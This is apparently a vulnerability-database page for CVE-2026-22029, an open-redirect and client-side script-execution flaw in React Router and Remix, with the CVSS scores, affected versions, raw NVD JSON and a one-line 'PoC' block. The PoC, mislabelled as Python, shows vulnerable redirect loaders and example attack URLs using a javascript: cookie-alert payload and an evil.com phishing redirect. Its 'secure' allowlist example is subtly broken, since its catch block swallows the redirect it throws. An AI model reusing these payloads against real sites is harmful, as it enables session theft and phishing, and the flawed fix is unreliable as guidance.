Security Vulnerability Report
中文
CVE-2026-22029 CVSS 8.0 HIGH

CVE-2026-22029

Published: 2026-01-10 03:15:49
Last Modified: 2026-02-10 19:36:32

Description

React Router is a router for React. In @remix-run/router version prior to 1.23.2. and react-router 7.0.0 through 7.11.0, React Router (and Remix v1/v2) SPA open navigation redirects originating from loaders or actions in Framework Mode, Data Mode, or the unstable RSC modes can result in unsafe URLs causing unintended javascript execution on the client. This is only an issue if you are creating redirect paths from untrusted content or via an open redirect. There is no impact if Declarative Mode (<BrowserRouter>) is being used. This issue has been patched in @remix-run/router version 1.23.2 and react-router version 7.12.0.

CVSS Details

CVSS Score
8.0
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:shopify:remix-run\/react:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:shopify:react-router:*:*:*:*:*:node.js:*:* - VULNERABLE
@remix-run/router < 1.23.2
react-router 7.0.0 - 7.11.0
Remix v1 (依赖受影响的@remix-run/router版本)
Remix v2 (依赖受影响的@remix-run/router版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22029 PoC - Open Redirect in React Router loaders // Attack scenario: Malicious redirect via loader // Example 1: Malicious loader in Framework Mode // This demonstrates how an attacker can redirect users to malicious sites const express = require('express'); const { createRequestHandler } = require('@remix-run/express'); // Vulnerable loader code (DO NOT USE) const loader = async ({ request }) => { const url = new URL(request.url); const redirectTo = url.searchParams.get('redirect'); // Vulnerable: Direct use of user input in redirect without validation if (redirectTo) { throw new Response(null, { status: 302, headers: { Location: redirectTo } }); } }; // Example 2: Action redirect vulnerability // Demonstrates unsafe redirect from action responses const action = async ({ request }) => { const formData = await request.formData(); const destination = formData.get('destination'); // Vulnerable: No validation of redirect destination return new Response(null, { status: 302, headers: { Location: destination } }); }; // Example 3: JavaScript URI scheme exploitation // Attack URL: /api/redirect?url=javascript:alert(document.cookie) const javascriptRedirectLoader = async ({ request }) => { const url = new URL(request.url); const maliciousUrl = url.searchParams.get('url'); // This allows javascript: protocol execution throw new Response(null, { status: 302, headers: { Location: maliciousUrl } }); }; // Example 4: External domain redirect // Attack URL: /page?next=https://evil.com/phishing const externalRedirectLoader = async ({ request }) => { const url = new URL(request.url); const next = url.searchParams.get('next'); // Vulnerable: No domain whitelist validation return new Response(null, { status: 302, headers: { Location: next } }); }; // Secure implementation (FIXED version) const secureLoader = async ({ request }) => { const url = new URL(request.url); const redirectTo = url.searchParams.get('redirect'); // SECURE: Validate and whitelist allowed domains const allowedDomains = ['https://trusted-domain.com', 'https://app.example.com']; if (redirectTo) { try { const redirectUrl = new URL(redirectTo); if (allowedDomains.some(domain => redirectUrl.origin === domain)) { throw new Response(null, { status: 302, headers: { Location: redirectTo } }); } } catch (e) { // Invalid URL or not in whitelist return new Response('Invalid redirect', { status: 400 }); } } }; // Mitigation: Upgrade to @remix-run/router >= 1.23.2 or react-router >= 7.12.0

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22029", "sourceIdentifier": "[email protected]", "published": "2026-01-10T03:15:48.870", "lastModified": "2026-02-10T19:36:31.503", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "React Router is a router for React. In @remix-run/router version prior to 1.23.2. and react-router 7.0.0 through 7.11.0, React Router (and Remix v1/v2) SPA open navigation redirects originating from loaders or actions in Framework Mode, Data Mode, or the unstable RSC modes can result in unsafe URLs causing unintended javascript execution on the client. This is only an issue if you are creating redirect paths from untrusted content or via an open redirect. There is no impact if Declarative Mode (<BrowserRouter>) is being used. This issue has been patched in @remix-run/router version 1.23.2 and react-router version 7.12.0."}, {"lang": "es", "value": "React Router es un router para React. En las versiones de @remix-run/router anteriores a la 1.23.2 y de react-router de la 7.0.0 a la 7.11.0, las redirecciones de navegación abierta de SPA de React Router (y Remix v1/v2) que se originan en cargadores o acciones en el Modo Framework, Modo Datos, o los modos RSC inestables pueden resultar en URLs inseguras que causan la ejecución no intencionada de javascript en el cliente. Esto es solo un problema si se están creando rutas de redirección a partir de contenido no confiable o a través de una redirección abierta. No hay impacto si se está utilizando el Modo Declarativo (). Este problema ha sido parcheado en la versión 1.23.2 de @remix-run/router y la versión 7.12.0 de react-router."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 5.8}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shopify:remix-run\\/react:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.23.2", "matchCriteriaId": "EFF13A05-C167-4C47-8D8E-A1821F69C0B0"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shopify:react-router:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "7.0.0", "versionEndIncluding": "7.11.0", "matchCriteriaId": "6928DE33-6137-4682-8610-1A6646F1B2A5"}]}]}], "references": [{"url": "https://github.com/remix-run/react-router/security/advisories/GHSA-2w69-qvjg-hvjx", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}